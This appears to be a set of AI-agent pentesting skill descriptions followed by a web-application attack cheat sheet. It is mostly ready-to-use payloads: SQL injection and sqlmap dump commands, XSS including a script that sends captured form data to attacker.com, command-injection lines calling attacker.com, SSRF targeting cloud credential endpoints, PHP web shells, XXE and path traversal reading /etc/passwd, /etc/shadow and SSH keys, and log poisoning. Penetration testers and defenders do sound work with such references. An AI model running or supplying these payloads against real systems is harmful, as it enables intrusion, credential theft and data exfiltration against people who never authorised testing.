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Test web applications for security vulnerabilities including SQLi, XSS, command injection, JWT attacks, SSRF, file uploads, XXE, and API flaws. Use when pentesting web apps, analyzing authentication, or exploiting OWASP Top 10 vulnerabilities.
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SOC 職業分類に基づく
Attack and enumerate Active Directory environments using Kerberos attacks (Kerberoasting, ASREPRoasting), credential dumping (DCSync, Mimikatz), lateral movement (PtH, PtT), and BloodHound analysis. Use when pentesting Windows domains or exploiting AD misconfigurations.
Test REST and GraphQL APIs for authentication bypasses, authorization flaws, IDOR, mass assignment, injection attacks, and rate limiting issues. Use when pentesting APIs or testing microservices security.
Exploit AWS, Azure, and GCP cloud misconfigurations including S3 buckets, IAM roles, metadata services, serverless functions, and cloud-specific privilege escalation. Use when pentesting cloud environments or assessing cloud security.
Escape Docker containers and exploit Kubernetes clusters using privileged containers, Docker socket access, misconfigurations, and API abuse. Use when testing container security or performing container escape.
Transfer files between systems using HTTP, SMB, FTP, netcat, base64 encoding, and living-off-the-land techniques for both Linux and Windows. Use when moving tools or exfiltrating data.
Perform OSINT, subdomain enumeration, port scanning, web reconnaissance, email harvesting, and cloud asset discovery for initial access. Use when gathering intelligence or mapping attack surface.
| name | testing-web-applications |
| description | Test web applications for security vulnerabilities including SQLi, XSS, command injection, JWT attacks, SSRF, file uploads, XXE, and API flaws. Use when pentesting web apps, analyzing authentication, or exploiting OWASP Top 10 vulnerabilities. |
Quick Detection:
# Test basic payloads
'
"
`
' OR '1'='1
" OR "1"="1
' OR '1'='1'--
Union-Based SQLi:
# Find column count
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
# Extract data
' UNION SELECT NULL,table_name,NULL FROM information_schema.tables--
' UNION SELECT NULL,username,password FROM users--
Time-Based Blind:
-- MySQL
' AND SLEEP(5)--
-- PostgreSQL
' AND pg_sleep(5)--
-- MSSQL
' WAITFOR DELAY '0:0:5'--
Automated Testing:
# SQLMap
sqlmap -u "http://target.com/page?id=1" --batch --dbs
sqlmap -u "http://target.com/page?id=1" -D database --tables
sqlmap -u "http://target.com/page?id=1" -D database -T users --dump
sqlmap -r request.txt -p parameter_name
Quick Payloads:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe src="javascript:alert(1)">
<body onload=alert(1)>
Filter Bypasses:
<ScRiPt>alert(1)</sCrIpT>
<script>alert(String.fromCharCode(88,83,83))</script>
<svg/onload=alert(1)>
<img src=x onerror="alert(1)">
Steal Credentials:
<script>
document.forms[0].onsubmit = function(){
fetch('http://attacker.com?'+new URLSearchParams(new FormData(this)));
};
</script>
Tools:
dalfox url http://target.com/search?q=test
XSStrike -u "http://target.com/search?q=test"
Basic Operators:
;whoami
|whoami
||whoami
&whoami
&&whoami
`whoami`
$(whoami)
%0Awhoami # Newline (best)
Blind Detection:
& sleep 10 &
& nslookup attacker.com &
& curl http://attacker.com &
Common Parameters:
?cmd=, ?exec=, ?command=, ?ping=, ?query=, ?code=, ?do=
Quick Testing:
# jwt_tool - run all tests
python3 jwt_tool.py -M at -t "https://api.target.com/endpoint" -rh "Authorization: Bearer TOKEN"
# Specific attacks
python3 jwt_tool.py TOKEN -X a # Algorithm confusion
python3 jwt_tool.py TOKEN -X n # None algorithm
python3 jwt_tool.py TOKEN -X k # Key confusion RS256->HS256
Manual Testing:
# Decode JWT
echo "eyJhbGc..." | base64 -d
# Change algorithm to "none"
{"alg":"none","typ":"JWT"}
# Brute force secret
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
Basic Payloads:
http://127.0.0.1
http://localhost
http://169.254.169.254/ # AWS metadata
http://[::1] # IPv6 localhost
Cloud Metadata:
# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Google Cloud
http://metadata.google.internal/computeMetadata/v1/
# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Bypasses:
http://2130706433/ # Decimal
http://0x7f000001/ # Hex
http://127.1/ # Short form
http://127.0.0.1.nip.io
Bypass Extensions:
shell.php.jpg
shell.jpg.php
shell.php%00.jpg
shell.phP
shell.php5
shell.phtml
Magic Bytes:
GIF89a<?php system($_GET['cmd']); ?>
Simple Web Shells:
<?php system($_GET['cmd']); ?>
<?=`$_GET[0]`?>
<?php passthru($_GET['cmd']); ?>
Basic XXE:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
Out-of-Band XXE:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">%xxe;]>
<root></root>
SVG XXE:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
Path Traversal:
../../../etc/passwd
....//....//....//etc/passwd
..%2F..%2F..%2Fetc%2Fpasswd
..%252F..%252F..%252Fetc%252Fpasswd
Common Targets (Linux):
/etc/passwd
/etc/shadow
/var/log/apache2/access.log
/var/www/html/config.php
~/.ssh/id_rsa
~/.bash_history
Common Targets (Windows):
C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\xampp\apache\conf\httpd.conf
PHP Wrappers:
php://filter/convert.base64-encode/resource=index.php
php://input # POST: <?php system('whoami'); ?>
data://text/plain,<?php system('whoami'); ?>
expect://whoami
Log Poisoning:
# Poison Apache log
curl "http://target.com/<?php system(\$_GET['cmd']); ?>"
# Include log
http://target.com/page.php?file=/var/log/apache2/access.log&cmd=whoami
Common API Paths:
/api/v1/
/api/v2/
/graphql
/swagger.json
/api-docs
IDOR Testing:
# Change IDs
curl https://api.target.com/users/1
curl https://api.target.com/users/2
curl https://api.target.com/users/2 -H "Authorization: Bearer USER1_TOKEN"
Mass Assignment:
# Add admin fields
curl -X POST https://api.target.com/users \
-H "Content-Type: application/json" \
-d '{"username":"test","email":"test@test.com","role":"admin","is_admin":true}'
GraphQL Introspection:
{
__schema {
types {
name
fields {
name
}
}
}
}
Enumeration:
ffuf -u http://target.com/FUZZ -w wordlist.txt
gobuster dir -u http://target.com -w wordlist.txt
feroxbuster -u http://target.com -w wordlist.txt
Vulnerability Scanning:
nikto -h http://target.com
nuclei -u http://target.com -t ~/nuclei-templates/
Parameter Discovery:
arjun -u http://target.com/page
paramspider -d target.com
Start Testing:
', ", OR 1=1)<script>alert(1)</script>);whoami, |id)Most Common Wins:
/users/{id} endpointsSee HackTricks for detailed techniques: